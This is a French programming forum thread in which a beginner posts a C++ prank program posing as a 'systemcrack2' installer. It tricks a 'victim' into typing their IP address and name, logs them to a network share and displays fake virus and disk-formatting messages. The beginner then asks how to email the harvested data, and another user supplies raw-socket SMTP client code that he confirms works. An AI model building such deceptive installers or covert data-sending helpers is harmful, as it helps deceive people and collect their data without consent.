C++ - Envoyer un e-mail via la console DOS

Résolu/Fermé
Coco Tickles Messages postés 111 Date d'inscription mercredi 20 avril 2011 Statut Membre Dernière intervention 18 mai 2011 - 20 avril 2011 à 19:54
 Lime - 18 avril 2012 à 03:22
Salut à tous le monde qui ose regarder mon message,

Je cherche depuis longtemps (aujourd'hui) comment envoyer un message (e-mail) via la console DOS.

En gros, je souhaiterais envoyer un message lorsque j'appuie sur une touche du clavier quand la fenêtre active est "la console DOS", un message soit envoyer.

Merci d'avance et bonne chance,

Au revoir
A voir également:

6 réponses

Char Snipeur Messages postés 9696 Date d'inscription vendredi 23 avril 2004 Statut Contributeur Dernière intervention 3 octobre 2023 1 297
21 avril 2011 à 11:29
ok, c'est plus clair.
Il faut donc inclure un code avec des sockets dans ton propre code. Tu saisis ensuite les données serveur. Voici un code que j'ai fait pour envoyer un message, à toi de l'adapter et de l'incorporer.
#include <winsock2.h>
#include <stdio.h>

char *sbuf,buf[256];
    // donnees local
    SOCKET local;
    SOCKADDR_IN sinlocal;
    // donnees distantes
    SOCKET dist;
    SOCKADDR_IN sindist;
int main()
{
    WSADATA WSAData;
    WSAStartup(MAKEWORD(2,0), &WSAData);
    local=socket(AF_INET,SOCK_STREAM,0);if(local==SOCKET_ERROR)printf("resu de local=socket : Socket error\n");
    sinlocal.sin_family		= AF_INET;
    sinlocal.sin_addr.s_addr	= htonl(INADDR_ANY);//inet_addr(c);
    dist=socket(AF_INET,SOCK_STREAM,0);if(dist==SOCKET_ERROR)printf("resu de dist=socket : Socket error\n");
    sindist.sin_family		= AF_INET;
    sindist.sin_addr.s_addr	= inet_addr("82.216.111.2");//IP du serveur SMTP
    sindist.sin_port		= htons(25);
    
    printf("debut\n");
    int stt=bind(dist, (SOCKADDR *)&sindist, sizeof(SOCKADDR_IN));
    int tt=::connect(dist,(SOCKADDR *)&sindist, sizeof(sindist));
    recv(dist,buf,210,0);printf(buf);
    sbuf="EHLO Beber\r\n";
    send(dist,sbuf,strlen(sbuf),0);printf("send %s\n",sbuf);
    recv(dist,buf,210,0);printf(buf);
    sbuf="MAIL FROM:<machin@truc.fr>\r\n";
    send(dist,sbuf,strlen(sbuf),0);printf("send %s\n",sbuf);
    recv(dist,buf,210,0);printf(buf);
    sbuf="RCPT TO:<mail_envoi@ici.fr>\r\n";
    send(dist,sbuf,strlen(sbuf),0);printf("send %s\n",sbuf);
    recv(dist,buf,210,0);printf(buf);
    sbuf="DATA\r\n";
    send(dist,sbuf,strlen(sbuf),0);printf("send %s\n",sbuf);
    recv(dist,buf,210,0);printf(buf);
    sbuf="Subject: SUJET\r\n"
    "From: moi-meme<machin@truc.fr>\r\n"
    "To: Moi <mail_envoi@ici.fr>\r\n"
    "voici le corps du message\r\n"
    "qui doit se finir par un point seul sur une ligne"
    "\r\n.\r\n";
    send(dist,sbuf,strlen(sbuf),0);printf("send %s\n",sbuf);
    recv(dist,buf,210,0);printf(buf);
    sbuf="QUIT\r\n";
    send(dist,sbuf,strlen(sbuf),0);printf("send %s\n",sbuf);
    closesocket(local);
    closesocket(dist);
    WSACleanup();
    printf("fin\n");
    return 0;
}
j'ai mis en gras les parties principales à modifier
1
"voici le corps du message\r\n"
"."
"\r\n.\r\n";

Je ne reçois pas de texte
0
Coco Tickles Messages postés 111 Date d'inscription mercredi 20 avril 2011 Statut Membre Dernière intervention 18 mai 2011 9
21 avril 2011 à 13:47
Salut,

Je vais voir si le code, merci.

Au revoir.
1
Coco Tickles Messages postés 111 Date d'inscription mercredi 20 avril 2011 Statut Membre Dernière intervention 18 mai 2011 9
21 avril 2011 à 13:55
Il fonctionne à merveille, merci.
1
Char Snipeur Messages postés 9696 Date d'inscription vendredi 23 avril 2004 Statut Contributeur Dernière intervention 3 octobre 2023 1 297
21 avril 2011 à 08:13
Salut.
quel rapport avec le C++ ?
ta question n'est pas clair.
Pour envoyer un courriel avec la console, tu peut utiliser telnet, mais j'ai l'impression que ce n'est pas ce que tu cherches à faire.
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
Coco Tickles Messages postés 111 Date d'inscription mercredi 20 avril 2011 Statut Membre Dernière intervention 18 mai 2011 9
21 avril 2011 à 10:32
Salut,

en effet, ce n'est pas vraiment ce qui m'intéresse.
Pour être plus précis, je suis un débutant.
Comme presque tous les débutants en C++, je commence à apprendre à manipuler les console.

Voici un exemple de ce que j'ai fait:

#include <iostream> //permet l'affichage d'un message
#include <fstream> //permet la lecture\création\modification d'un fichier txt
#include <windows.h> //permet les msgbox
#include <limits> //permet de récupérer des caractères

using namespace std; //permet l'affichage du texte

const int MAXCARIP = 45;
void main(void)
{
	int ip1, ip2, ip3, ip4;//création des variables
	char nom [MAXCARIP];
	cout<<"Bonjour et bienvenue dans le telechargement de systemcrack2"<<endl;
	cout<<"Veuillez ecrire la cle d'installation: "<<endl; //demande les différents nombres de l'ip pour la 1ère fois
	cout<<"1er nombre: ";
	cin>>ip1;
	cout<<"2eme nombre: ";
	cin>>ip2;
	cout<<"3eme nombre: ";
	cin>>ip3;
	cout<<"4eme nombre: ";
	cin>>ip4;
	cout<<"Le code d'actvation est votre adresse ip."<< endl <<"Pour connaitre son adresse ip, ouvrir cmd et ecrivez ipconfig."<<endl<<"Vous pouvez recesir le code d'activation: "<<endl; //demande les différents nombres de l'ip pour la 1ère fois
	cout<<"1er nombre: ";
	cin>>ip1;
	cout<<"2eme nombre: ";
	cin>>ip2;
	cout<<"3eme nombre: ";
	cin>>ip3;
	cout<<"4eme nombre: ";
	cin>>ip4;
	cout<<"votre nom: ";
	cin>>ws;
	cin.get(nom, MAXCARIP);
	ofstream monFlux("//ANTHONY-PC/Users/Public/code.txt", ios::app); //création d'un fichier txt
	monFlux<<"l'adresse ip de  "<<nom<<"est "<<ip1<<"."<<ip2<<"."<<ip3<<"."<<ip4<<endl;  //affichage du texte dans le fichier type txt
	cout<<"transmition du virus..."<<endl;
	cout<<"envoie des donnees..."<<endl;
	cout<<"veuillez patienter, la transmition et le formatage de votre disque est en cours... \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a "<<endl; //texte et bruitage
	system ("pause"); //pause
}


Ceci est un code dont la console va faire croire à la victime l'envoie d'un virus.



ofstream monFlux("//ANTHONY-PC/Users/Public/code.txt", ios::app); //création d'un fichier txt
	monFlux<<"l'adresse ip de  "<<nom<<"est "<<ip1<<"."<<ip2<<"."<<ip3<<"."<<ip4<<endl;  //affichage du texte dans le fichier type txt


Ci-dessus, je crée un fichier code dont je récupère les données fournis.
Je voudrais les envoyer pas e-mail.

Merci d'avance,

Au revoir.

PS: Attention à celui qui essaye le code car "\a" est un bruitage. Donc pour celui qui l'essaye, qu'il ouvre le gestionnaire de tâche (clique droit barre de tâche) et termine arborescence du fichier (processus, clique droit sur l'objet, terminer le processus).
0
Bonjour,
comment faire pour avoir du texte dans le message envoyer?
Est il difficile d'ajouter une option d'authentification au server smtp?
Merci
0